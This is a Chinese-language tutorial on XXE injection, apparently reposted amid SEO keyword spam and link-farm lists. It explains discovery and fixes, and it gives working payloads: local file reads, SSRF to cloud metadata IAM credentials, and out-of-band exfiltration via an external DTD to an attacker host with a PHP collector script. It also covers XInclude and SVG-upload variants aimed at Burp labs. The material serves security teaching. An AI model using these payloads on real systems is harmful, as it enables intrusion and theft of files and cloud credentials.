当前位置: 首页 > wzjs >正文

狼雨seo网站排名查询网站免费建站k

狼雨seo网站排名查询,网站免费建站k,网站活动平台推广计划,企业网站建设费用计入哪个科目知识点: 1、WEB攻防-XML&XXE-注入原理&分类&修复 2、WEB攻防-XML&XXE-文件读取&SSRF&实体引用 3、WEB攻防-XML&XXE-无回显&升级拓展&挖掘思路 一、演示案例-WEB攻防-XML&XXE-注入原理&分类&安全影响 详细点 XML被…

知识点:
1、WEB攻防-XML&XXE-注入原理&分类&修复
2、WEB攻防-XML&XXE-文件读取&SSRF&实体引用
3、WEB攻防-XML&XXE-无回显&升级拓展&挖掘思路

在这里插入图片描述
在这里插入图片描述

一、演示案例-WEB攻防-XML&XXE-注入原理&分类&安全影响

详细点

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。等同于JSON传输。

XMLHTML 的主要差异:
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而XML旨在传输存储信息。

XXE漏洞XML External Entity Injection,即xml外部实体注入漏洞:XXE漏洞发生在应用程序解析XML输入时,没禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取(最主要的影响)、命令执行、内网扫描、攻击内网等危害。

XXE黑盒发现

两类:
数据包的测试
功能点的测试

1、获取得到Content-Type或数据类型为xml时,尝试xml语言payload进行测试
在这里插入图片描述
在这里插入图片描述

2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
在这里插入图片描述
在这里插入图片描述
3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行(百度docx xxe即可)
参考地址:https://blog.csdn.net/weixin_57567655/article/details/124588490
在这里插入图片描述

XXE白盒发现

1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等

XXE修复防御方案

方案1-禁用外部实体
PHP:
libxml_disable_entity_loader(true);JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))方案2-过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

二、演示案例-WEB攻防-XML&XXE-有回显利用-文件读取&SSRF&外部实体

1、文件读取

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

在这里插入图片描述
在这里插入图片描述

2、SSRF&配合元数据

条件:存在XXE注入的云服务器应用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>
&xxe;
</productId><storeId>1</storeId></stockCheck>

在这里插入图片描述
在这里插入图片描述

3、文件读取-外部引用实体dtd

file.dtd
<!ENTITY send SYSTEM "file:///c:/c.txt">

在这里插入图片描述
在这里插入图片描述

<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://xiaodi8.com/file.dtd">
%file;
]>
<user><username>&send;</username><password>xiaodi</password></user>

在这里插入图片描述

三、演示案例-WEB攻防-XML&XXE-无回显利用&文件拓展解析等

无回显利用

在这里插入图片描述

1、DNSLOG-带外测试

<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://xiaodi8.dnslog.cn">
%file;
]>
<user><username>xiaodi</username><password>xiaodi</password></user>

在这里插入图片描述
在这里插入图片描述

2、文件读取-外部引用实体dtd配合带外

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///c:/c.txt">
<!ENTITY % remote SYSTEM "http://www.xiaodi8.com/test.dtd">
%remote;
%all;
]>
<user><username>&send;</username><password>xiaodi</password></user>test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://www.xiaodi8.com/get.php?file=%file;'>">get.php:
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>执行逻辑顺序:test.dtd->all->send->get.php?file=%file->file:///c:/c.txt
http://www.xiaodi8.com/get.php?file=读取的内网数据

在这里插入图片描述
在这里插入图片描述

3、文件读取-外部引用实体dtd配合错误解析

test.dtd内容:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;//这是一个报错的payload,利用目标服务器报错解析来读取文件内容。

BURP靶场

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0ab2006f03dce8a4803dfde101f3007d.exploit-server.net/exploit"> %xxe;]>

在这里插入图片描述
在这里插入图片描述

文件拓展解析

1、xinclude利用

XInclude 是一种让你能把多个独立的 XML 文件像拼积木一样“动态组合”成一个大 XML 文档的标准方法。它通过在主文件里放置特殊的“包含指令”(<xi:include>),告诉 XML 处理器在需要的时候去自动加载并插入指定文件的内容。这样做的主要好处是让大型 XML 文档更容易编写、维护和复用。
在这里插入图片描述
一些应用程序接收客户端提交的数据,在服务器端将其嵌入到XML文档中,然后解析该文档,所以利用xinclude嵌套进去执行。

BURP靶场

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

在这里插入图片描述
在这里插入图片描述

2、文件上传-SVG图像解析(docx等)

一些应用程序接收解析文件,可以使用基于XML的格式的例子有DOCX这样的办公文档格式和SVG这样的图像格式进行测试。

SVG图片

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
SRC文章:https://mp.weixin.qq.com/s/5iPoqsWpYfQmr0ExcJYRwg

DOCX文档
参考文章:https://blog.csdn.net/weixin_57567655/article/details/124588490
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

3、功能点挖掘总结

基于XML的Web服务: SOAP、REST和RPC API这些接收和处理XML格式
导入/导出功能: 任何以 XML 格式传输数据的进出口
RSS/Atom 订阅处理器: 订阅功能也可能隐藏着 XXE 漏洞。
文档查看器/转换器: 处理DOCX、XLSX等XML 格式文档的功能
文件上传处理 XML: 比如SVG图像处理器,上传图片也可能中招!

文章转载自:

http://ezIdcFkv.cndxL.cn
http://s3VoQkeQ.cndxL.cn
http://PyV6uX9K.cndxL.cn
http://nDbBVg83.cndxL.cn
http://ia84YvlV.cndxL.cn
http://0IZohV1U.cndxL.cn
http://RwN3Xphk.cndxL.cn
http://A2i1qYdf.cndxL.cn
http://v7CFGhrS.cndxL.cn
http://CUIcFxR6.cndxL.cn
http://y2ruIk9Z.cndxL.cn
http://GcSpjCTl.cndxL.cn
http://Rz4XiTOX.cndxL.cn
http://iumC42G5.cndxL.cn
http://O4zqBVjw.cndxL.cn
http://jTCL015Y.cndxL.cn
http://myu5DMNN.cndxL.cn
http://Q4fkzX2W.cndxL.cn
http://autqjz7W.cndxL.cn
http://h6Pdo3rP.cndxL.cn
http://bvi1Auda.cndxL.cn
http://n7gYy5Yh.cndxL.cn
http://63jRW69w.cndxL.cn
http://E39SndSg.cndxL.cn
http://BhEeSCqr.cndxL.cn
http://nqHAVySd.cndxL.cn
http://Q3e2mXvB.cndxL.cn
http://4b2UKhRN.cndxL.cn
http://7utgXOuP.cndxL.cn
http://6Zapmb9t.cndxL.cn
http://www.dtcms.com/wzjs/736877.html

相关文章:

  • 网站开发软件有哪些免费吕梁网站制作吕梁安全
  • 浙江汉农建设有限公司网站无锡企业网站制作报价
  • 网站开发行业做网站容易找工作吗
  • wordpress缩略图代码广州seo服务
  • 网站维护需要做网站的是什么
  • 互联网个人用户网站黑马网站建设
  • wdcp 防盗链 网站不能打开浙江备案需要开启网站吗
  • 北京美的网站直接进入网址的浏览器
  • 江苏网站建设银川建设网站
  • 昆明电子商务网站做的好的营销型网站有哪些
  • 手机网站设计尺寸大小百度旗下所有app列表
  • 保定建网站需要多少钱什么样的网站需要icp经营性备案
  • 同城信息网站建设网站建设的公司
  • 源码制作网站教程电脑网站设计制作
  • 销售网站的技巧赣州网站建设哪家好
  • 怎么自己做砍价网站移动端网站优化
  • 集团网站建设网站的构成
  • 景区门户网站建设大数据分析wordpress点击分类目录空白
  • 廊坊网站群建设企业网站备案资料
  • 制作网页与网站wordpress %post_id%
  • 网站建设的经济可行性分析做一个手机网站多少钱
  • 婚纱网站策划书改变wordpress表前缀
  • 网站建设 山东百度知道登录入口
  • 自己做静态网站的步骤新手学做网站pdf手
  • 代刷业务网站建设wordpress写书typecho主题
  • 网站代运营要多少费用哪些人需要建网站
  • 上海高端网站公司哪家好如何做跨境电商需要哪些条件
  • 广州建设行业网站网站建设应该考虑哪些问题
  • 物业公司网站建设广西网站建设哪家有
  • 网站做图尺寸大小可信网站友链怎么做